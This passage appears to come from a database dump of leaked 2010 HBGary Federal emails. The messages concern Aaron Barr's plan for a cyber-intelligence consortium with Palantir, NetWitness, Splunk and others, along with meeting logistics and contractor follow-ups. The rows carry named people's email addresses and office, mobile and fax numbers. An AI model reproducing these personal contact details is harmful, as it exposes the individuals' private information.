&nbsp;The individual products from these\r\n&gt; companies alone are significant, imagine what can be produced once we\r\n&gt; integrate them.\r\n&gt;\r\n&gt; What do you think?\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n',10925,'aaron_hbgary_com/10925.html'),(1424,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000405.M905360P3547Q1424.eml','\"Brian Girardi\" <brian@netwitness.com>','Re: Idea','Weird.Ok manually. :)Palantir Office 7th Floor &nbsp;8300 Greensboro Dr Tysons Corner &nbsp;VA 22102Time: 330-430pm.Agenda will be introductions and a semi-guided open discussion on the group formation, goals, etc.AaronOn Jan 25, 2010, at 12:29 PM, Brian Girardi wrote:\r\nAaron... Unless it went into my junk I didn’t get the invite yet.\r\n\r\n\r\nOn 1/25/10 12:26 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Guys,\r\n\r\nFYI. &nbsp;I meet with Jake from time to time to discuss cybersecurity issues. &nbsp;He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&amp;T. &nbsp;That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n\r\nI am getting lots of good responses to this concept. &nbsp;I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n\r\nSee you all tomorrow.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n&gt;\r\n&gt; Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n&gt; this on the CSIS commission lately (the idea they\'ve been hashing around\r\n&gt; is how to achieve greater situational awareness, but they\'ve been\r\n&gt; proposing a non-profit agency to allow everyone to access specific\r\n&gt; information).\r\n&gt; Would like to discuss with you - busy this week and next, but maybe\r\n&gt; early Feb?\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, January 22, 2010 8:49 AM\r\n&gt; To: Olcott, Jacob\r\n&gt; Subject: Idea\r\n&gt;\r\n&gt; Jake,\r\n&gt;\r\n&gt;\r\n&gt; I have put together a subset of highly capable companies for the\r\n&gt; purposes of improving threat intelligence, believing that we have to\r\n&gt; improve our knowledge of the threat before we can improve our security.\r\n&gt; Once we have a better threat picture we integrate more\r\n&gt; proactive/reactive security capabilities and more effectively manage\r\n&gt; enterprise security based on our knowledge of the threat.\r\n&gt;\r\n&gt; A good cyber intelligence capability needs to cover and integrate all\r\n&gt; areas of cyber: executable, host, network, internet, and social\r\n&gt; analysis. &nbsp;These companies represent a best of breed, complete\r\n&gt; end-to-end cyber intelligence picture. &nbsp;Using Palantir as the framework\r\n&gt; for organizing the data feeds from the other companies and overlaying\r\n&gt; that data with other social network analysis.\r\n&gt;\r\n&gt; Application - HBGary (automated malware detection based on traits and\r\n&gt; code fingerprinting)\r\n&gt; Host - Splunk (host based security monitoring)\r\n&gt; Network - Netwitness (Network Forensics, full textual analysis)\r\n&gt; Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n&gt; zero days)\r\n&gt; Social - Palantir (link analysis framework for intelligence)\r\n&gt;\r\n&gt; I am bringing these companies together in an consortium, they have all\r\n&gt; bought in. &nbsp;Rather than a typical integrator model, keeping the product\r\n&gt; companies at arms length, a consortium puts us all on a more level\r\n&gt; playing field and forces us to think about the right solution rather\r\n&gt; than a particular offering.\r\n&gt;\r\n&gt; As we talked about before. &nbsp;There are significant organizational and\r\n&gt; contractual impedance\'s from bringing together the necessary pieces to\r\n&gt; enhance our cybersecurity. &nbsp;So it occured to me, why not do for cyber\r\n&gt; intelligence what Space-X did for space exploration and satellite\r\n&gt; deployments. &nbsp;Forget the bureaucracy, develop the complete solution\r\n&gt; externally from the mad house. &nbsp;The individual products from these\r\n&gt; companies alone are significant, imagine what can be produced once we\r\n&gt; integrate them.\r\n&gt;\r\n&gt; What do you think?\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15879,'aaron_hbgary_com/15879.html'),(1425,'2010-01-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000406.M119834P3547Q1425.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Press release','Will need to get back to you on that one.  Open warfare between Cinci\r\nand Reston once the pin gets pulled on that hand grenade.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:42 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Press release\r\n\r\nHey Brian,\r\n\r\nI am starting to work on the press release for the consortium.  Do you\r\nwant Xetron mentioned in the press release?  How do you want to handle\r\nthat?  See you tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5381,'aaron_hbgary_com/5381.html'),(1426,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000406.M314733P3547Q1426.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Press release','yep.\r\n\r\nReally looking forward to hashing this whole idea out with you and how we do it.  I can see already that at the pace and methods at which I want to work, you can\'t be too far out in front, but its your money, so it has to be worth your contribution.  What do you want to get out of this?  Can you do something like an IRAD grant to HBGary Federal with a rights to use and market built into an agreement?  I don\'t know I am just spitballing here.\r\n\r\nA few things to think about is the processes to work with legislative and non-profit organizations, other companies?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 25, 2010, at 12:34 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Will need to get back to you on that one.  Open warfare between Cinci\r\n> and Reston once the pin gets pulled on that hand grenade.\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 11:42 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Press release\r\n> \r\n> Hey Brian,\r\n> \r\n> I am starting to work on the press release for the consortium.  Do you\r\n> want Xetron mentioned in the press release?  How do you want to handle\r\n> that?  See you tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9098,'aaron_hbgary_com/9098.html'),(1427,'2010-01-25','\"Ted Vera\" <thv31@mac.com>','/aaron@hbgary.com/new/1297000406.M502113P3547Q1427.eml','\"Aaron Barr\" <aaron@hbgary.com>','Graphics Contract','http://www.smdc.army.mil/2008/SmallBiz/AcqForecast/Graphics.pdf\r\n\r\nMay be able to snag Aaron Spring & others for this?\r\n',9203,'aaron_hbgary_com/9203.html'),(1428,'2010-01-25','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000406.M721355P3547Q1428.eml','aaron@hbgary.com,aaron@hbgary.com','CyberSpace 2010 Follow-up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nWas so good to see you at the Symposium in Colo Spgs.&nbsp; You looked\r\nhappy &amp; vibrant&#8212;as usual!&nbsp;&nbsp; Sorry we didn&#8217;t get to\r\nconnect further on business opportunities ahead, before I had to depart. \r\n\r\n&nbsp;\r\n\r\nI think our best, near term touch point going forward is to craft\r\nan NDA so we can bear down on getting the 624th Operations Center\r\nthe support/system they want and need.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWhen&#8217;s a good time this week to give you a call to discuss\r\nhow we get this going?\r\n\r\n&nbsp;\r\n\r\nBest always, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12028,'aaron_hbgary_com/12028.html'),(1429,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000407.M201282P3547Q1429.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: CyberSpace 2010 Follow-up','Just talked with him.  We are going to go down and talk to them in February.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt;Date: January 25, 2010 12:58:18 PM ESTTo: &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Edwards, Michael (CORP)&quot; &lt;Michael.Edwards@ngc.com&gt;Subject: CyberSpace 2010 Follow-up\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n \r\n\r\nWas so good to see you at the Symposium in Colo Spgs.  You looked\r\nhappy &amp; vibrant—as usual!   Sorry we didn’t get to\r\nconnect further on business opportunities ahead, before I had to depart. \r\n\r\n \r\n\r\nI think our best, near term touch point going forward is to craft\r\nan NDA so we can bear down on getting the 624th Operations Center\r\nthe support/system they want and need.  \r\n\r\n \r\n\r\nWhen’s a good time this week to give you a call to discuss\r\nhow we get this going?\r\n\r\n \r\n\r\nBest always, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11635,'aaron_hbgary_com/11635.html'),(1430,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000407.M397000P3547Q1430.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Medical','We need to add this to the list of things to change before we can hire employees...AaronBegin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;Date: December 16, 2009 8:52:36 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MedicalIf you have your own plan. &nbsp;I\'ll call Jeff when I\'m back to discussOn Wed, Dec 16, 2009 at 11:23 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Penny,I have been sitting down with Jeff talking about Medical benefits. &nbsp;Then talking with Ted. &nbsp;HBGary federal I think needs to offer sooner medical benefits to be competitive with other government contractors. &nbsp;Is this possible?Aaron BarrCEOHBGary Federal Inc.-- Penny C. LeavyHBGary, Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',849,'aaron_hbgary_com/849.html'),(1431,'2010-01-25','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000407.M580312P3547Q1431.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Idea','Looking forward to the meeting tomorrow.  The lead for Palantir cyber will be VTCing in.\r\n\r\nOn a more tactical note, is there an agenda for this meeting?  If so can you forward it to me?  If not I would recommend putting one together, I could assist if need be.  My thought is that with 5 companies in a room together one hour could pass rather quickly with no agenda.  \r\n\r\nLet me know,\r\nMatt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 12:27 PM\r\nTo: Bill Hornish; Bob Slapnik; Brian Masterson; Brian Girardi; John Farrell; Matthew Steckman; Rich Cummings\r\nCc: Ted Vera; Greg Hoglund\r\nSubject: Fwd: Idea\r\n\r\nHey Guys,\r\n\r\nFYI.  I meet with Jake from time to time to discuss cybersecurity issues.  He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&T.  That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n\r\nI am getting lots of good responses to this concept.  I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n\r\nSee you all tomorrow.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> \r\n> Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n> this on the CSIS commission lately (the idea they\'ve been hashing around\r\n> is how to achieve greater situational awareness, but they\'ve been\r\n> proposing a non-profit agency to allow everyone to access specific\r\n> information). \r\n> Would like to discuss with you - busy this week and next, but maybe\r\n> early Feb?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, January 22, 2010 8:49 AM\r\n> To: Olcott, Jacob\r\n> Subject: Idea\r\n> \r\n> Jake,\r\n> \r\n> \r\n> I have put together a subset of highly capable companies for the\r\n> purposes of improving threat intelligence, believing that we have to\r\n> improve our knowledge of the threat before we can improve our security.\r\n> Once we have a better threat picture we integrate more\r\n> proactive/reactive security capabilities and more effectively manage\r\n> enterprise security based on our knowledge of the threat.\r\n> \r\n> A good cyber intelligence capability needs to cover and integrate all\r\n> areas of cyber: executable, host, network, internet, and social\r\n> analysis.  These companies represent a best of breed, complete\r\n> end-to-end cyber intelligence picture.  Using Palantir as the framework\r\n> for organizing the data feeds from the other companies and overlaying\r\n> that data with other social network analysis.\r\n> \r\n> Application - HBGary (automated malware detection based on traits and\r\n> code fingerprinting)\r\n> Host - Splunk (host based security monitoring)\r\n> Network - Netwitness (Network Forensics, full textual analysis)\r\n> Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n> zero days)\r\n> Social - Palantir (link analysis framework for intelligence)\r\n> \r\n> I am bringing these companies together in an consortium, they have all\r\n> bought in.  Rather than a typical integrator model, keeping the product\r\n> companies at arms length, a consortium puts us all on a more level\r\n> playing field and forces us to think about the right solution rather\r\n> than a particular offering.\r\n> \r\n> As we talked about before.  There are significant organizational and\r\n> contractual impedance\'s from bringing together the necessary pieces to\r\n> enhance our cybersecurity.  So it occured to me, why not do for cyber\r\n> intelligence what Space-X did for space exploration and satellite\r\n> deployments.  Forget the bureaucracy, develop the complete solution\r\n> externally from the mad house.  The individual products from these\r\n> companies alone are significant, imagine what can be produced once we\r\n> integrate them.\r\n> \r\n> What do you think?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3814,'aaron_hbgary_com/3814.html'),(1432,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000407.M910351P3547Q1432.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Idea','Agreed.  I am working on an agenda now along with a handful of other things, any comments are welcome and would be helpful.\r\n\r\nAs a rough start.\r\n\r\nIntroductions.\r\nConcept Description\r\nGoals\r\nOperating Discussion (teaming construct, etc.)\r\n\r\nAaron\r\n\r\n\r\nOn Jan 25, 2010, at 2:15 PM, Matthew Steckman wrote:\r\n\r\n> Looking forward to the meeting tomorrow.  The lead for Palantir cyber will be VTCing in.\r\n> \r\n> On a more tactical note, is there an agenda for this meeting?  If so can you forward it to me?  If not I would recommend putting one together, I could assist if need be.  My thought is that with 5 companies in a room together one hour could pass rather quickly with no agenda.  \r\n> \r\n> Let me know,\r\n> Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 12:27 PM\r\n> To: Bill Hornish; Bob Slapnik; Brian Masterson; Brian Girardi; John Farrell; Matthew Steckman; Rich Cummings\r\n> Cc: Ted Vera; Greg Hoglund\r\n> Subject: Fwd: Idea\r\n> \r\n> Hey Guys,\r\n> \r\n> FYI.  I meet with Jake from time to time to discuss cybersecurity issues.  He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&T.  That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n> \r\n> I am getting lots of good responses to this concept.  I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n> \r\n> See you all tomorrow.\r\n> \r\n> Aaron\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> \r\n>> Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n>> this on the CSIS commission lately (the idea they\'ve been hashing around\r\n>> is how to achieve greater situational awareness, but they\'ve been\r\n>> proposing a non-profit agency to allow everyone to access specific\r\n>> information). \r\n>> Would like to discuss with you - busy this week and next, but maybe\r\n>> early Feb?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, January 22, 2010 8:49 AM\r\n>> To: Olcott, Jacob\r\n>> Subject: Idea\r\n>> \r\n>> Jake,\r\n>> \r\n>> \r\n>> I have put together a subset of highly capable companies for the\r\n>> purposes of improving threat intelligence, believing that we have to\r\n>> improve our knowledge of the threat before we can improve our security.\r\n>> Once we have a better threat picture we integrate more\r\n>> proactive/reactive security capabilities and more effectively manage\r\n>> enterprise security based on our knowledge of the threat.\r\n>> \r\n>> A good cyber intelligence capability needs to cover and integrate all\r\n>> areas of cyber: executable, host, network, internet, and social\r\n>> analysis.  These companies represent a best of breed, complete\r\n>> end-to-end cyber intelligence picture.  Using Palantir as the framework\r\n>> for organizing the data feeds from the other companies and overlaying\r\n>> that data with other social network analysis.\r\n>> \r\n>> Application - HBGary (automated malware detection based on traits and\r\n>> code fingerprinting)\r\n>> Host - Splunk (host based security monitoring)\r\n>> Network - Netwitness (Network Forensics, full textual analysis)\r\n>> Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n>> zero days)\r\n>> Social - Palantir (link analysis framework for intelligence)\r\n>> \r\n>> I am bringing these companies together in an consortium, they have all\r\n>> bought in.  Rather than a typical integrator model, keeping the product\r\n>> companies at arms length, a consortium puts us all on a more level\r\n>> playing field and forces us to think about the right solution rather\r\n>> than a particular offering.\r\n>> \r\n>> As we talked about before.  There are significant organizational and\r\n>> contractual impedance\'s from bringing together the necessary pieces to\r\n>> enhance our cybersecurity.  So it occured to me, why not do for cyber\r\n>> intelligence what Space-X did for space exploration and satellite\r\n>> deployments.  Forget the bureaucracy, develop the complete solution\r\n>> externally from the mad house.  The individual products from these\r\n>> companies alone are significant, imagine what can be produced once we\r\n>> integrate them.\r\n>> \r\n>> What do you think?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6531,'aaron_hbgary_com/6531.html'),(1433,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000408.M140872P3547Q1433.eml','\"Ted Vera\" <thv31@mac.com>','Re: Graphics Contract','Absolutely.  Lets go for it.\r\n\r\nAaron\r\nMatt\r\nTawny\r\n\r\netc.\r\n\r\n\r\nOn Jan 25, 2010, at 12:41 PM, Ted Vera wrote:\r\n\r\n> http://www.smdc.army.mil/2008/SmallBiz/AcqForecast/Graphics.pdf\r\n> \r\n> May be able to snag Aaron Spring & others for this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1576,'aaron_hbgary_com/1576.html'),(1434,'2010-01-25','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000408.M325548P3547Q1434.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Idea','The main things Palantir will want to understand are:\r\n-What is the overall vision of this coalition?\r\n-Is there a proximate business opportunity in mind?\r\n-What are the roles and responsibilities of each company?\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 2:27 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Idea\r\n\r\nAgreed.  I am working on an agenda now along with a handful of other things, any comments are welcome and would be helpful.\r\n\r\nAs a rough start.\r\n\r\nIntroductions.\r\nConcept Description\r\nGoals\r\nOperating Discussion (teaming construct, etc.)\r\n\r\nAaron\r\n\r\n\r\nOn Jan 25, 2010, at 2:15 PM, Matthew Steckman wrote:\r\n\r\n> Looking forward to the meeting tomorrow.  The lead for Palantir cyber will be VTCing in.\r\n> \r\n> On a more tactical note, is there an agenda for this meeting?  If so can you forward it to me?  If not I would recommend putting one together, I could assist if need be.  My thought is that with 5 companies in a room together one hour could pass rather quickly with no agenda.  \r\n> \r\n> Let me know,\r\n> Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 12:27 PM\r\n> To: Bill Hornish; Bob Slapnik; Brian Masterson; Brian Girardi; John Farrell; Matthew Steckman; Rich Cummings\r\n> Cc: Ted Vera; Greg Hoglund\r\n> Subject: Fwd: Idea\r\n> \r\n> Hey Guys,\r\n> \r\n> FYI.  I meet with Jake from time to time to discuss cybersecurity issues.  He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&T.  That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n> \r\n> I am getting lots of good responses to this concept.  I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n> \r\n> See you all tomorrow.\r\n> \r\n> Aaron\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> \r\n>> Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n>> this on the CSIS commission lately (the idea they\'ve been hashing around\r\n>> is how to achieve greater situational awareness, but they\'ve been\r\n>> proposing a non-profit agency to allow everyone to access specific\r\n>> information). \r\n>> Would like to discuss with you - busy this week and next, but maybe\r\n>> early Feb?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, January 22, 2010 8:49 AM\r\n>> To: Olcott, Jacob\r\n>> Subject: Idea\r\n>> \r\n>> Jake,\r\n>> \r\n>> \r\n>> I have put together a subset of highly capable companies for the\r\n>> purposes of improving threat intelligence, believing that we have to\r\n>> improve our knowledge of the threat before we can improve our security.\r\n>> Once we have a better threat picture we integrate more\r\n>> proactive/reactive security capabilities and more effectively manage\r\n>> enterprise security based on our knowledge of the threat.\r\n>> \r\n>> A good cyber intelligence capability needs to cover and integrate all\r\n>> areas of cyber: executable, host, network, internet, and social\r\n>> analysis.  These companies represent a best of breed, complete\r\n>> end-to-end cyber intelligence picture.  Using Palantir as the framework\r\n>> for organizing the data feeds from the other companies and overlaying\r\n>> that data with other social network analysis.\r\n>> \r\n>> Application - HBGary (automated malware detection based on traits and\r\n>> code fingerprinting)\r\n>> Host - Splunk (host based security monitoring)\r\n>> Network - Netwitness (Network Forensics, full textual analysis)\r\n>> Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n>> zero days)\r\n>> Social - Palantir (link analysis framework for intelligence)\r\n>> \r\n>> I am bringing these companies together in an consortium, they have all\r\n>> bought in.  Rather than a typical integrator model, keeping the product\r\n>> companies at arms length, a consortium puts us all on a more level\r\n>> playing field and forces us to think about the right solution rather\r\n>> than a particular offering.\r\n>> \r\n>> As we talked about before.  There are significant organizational and\r\n>> contractual impedance\'s from bringing together the necessary pieces to\r\n>> enhance our cybersecurity.  So it occured to me, why not do for cyber\r\n>> intelligence what Space-X did for space exploration and satellite\r\n>> deployments.  Forget the bureaucracy, develop the complete solution\r\n>> externally from the mad house.  The individual products from these\r\n>> companies alone are significant, imagine what can be produced once we\r\n>> integrate them.\r\n>> \r\n>> What do you think?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8231,'aaron_hbgary_com/8231.html'),(1435,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000408.M523546P3547Q1435.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Idea','Great thanks.  I imagine those questions will be the same for all.\r\n\r\nOn Jan 25, 2010, at 2:30 PM, Matthew Steckman wrote:\r\n\r\n> The main things Palantir will want to understand are:\r\n> -What is the overall vision of this coalition?\r\n> -Is there a proximate business opportunity in mind?\r\n> -What are the roles and responsibilities of each company?\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 2:27 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: Idea\r\n> \r\n> Agreed.  I am working on an agenda now along with a handful of other things, any comments are welcome and would be helpful.\r\n> \r\n> As a rough start.\r\n> \r\n> Introductions.\r\n> Concept Description\r\n> Goals\r\n> Operating Discussion (teaming construct, etc.)\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jan 25, 2010, at 2:15 PM, Matthew Steckman wrote:\r\n> \r\n>> Looking forward to the meeting tomorrow.  The lead for Palantir cyber will be VTCing in.\r\n>> \r\n>> On a more tactical note, is there an agenda for this meeting?  If so can you forward it to me?  If not I would recommend putting one together, I could assist if need be.  My thought is that with 5 companies in a room together one hour could pass rather quickly with no agenda.  \r\n>> \r\n>> Let me know,\r\n>> Matt\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, January 25, 2010 12:27 PM\r\n>> To: Bill Hornish; Bob Slapnik; Brian Masterson; Brian Girardi; John Farrell; Matthew Steckman; Rich Cummings\r\n>> Cc: Ted Vera; Greg Hoglund\r\n>> Subject: Fwd: Idea\r\n>> \r\n>> Hey Guys,\r\n>> \r\n>> FYI.  I meet with Jake from time to time to discuss cybersecurity issues.  He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&T.  That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n>> \r\n>> I am getting lots of good responses to this concept.  I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n>> \r\n>> See you all tomorrow.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Begin forwarded message:\r\n>> \r\n>>> \r\n>>> Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n>>> this on the CSIS commission lately (the idea they\'ve been hashing around\r\n>>> is how to achieve greater situational awareness, but they\'ve been\r\n>>> proposing a non-profit agency to allow everyone to access specific\r\n>>> information). \r\n>>> Would like to discuss with you - busy this week and next, but maybe\r\n>>> early Feb?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Friday, January 22, 2010 8:49 AM\r\n>>> To: Olcott, Jacob\r\n>>> Subject: Idea\r\n>>> \r\n>>> Jake,\r\n>>> \r\n>>> \r\n>>> I have put together a subset of highly capable companies for the\r\n>>> purposes of improving threat intelligence, believing that we have to\r\n>>> improve our knowledge of 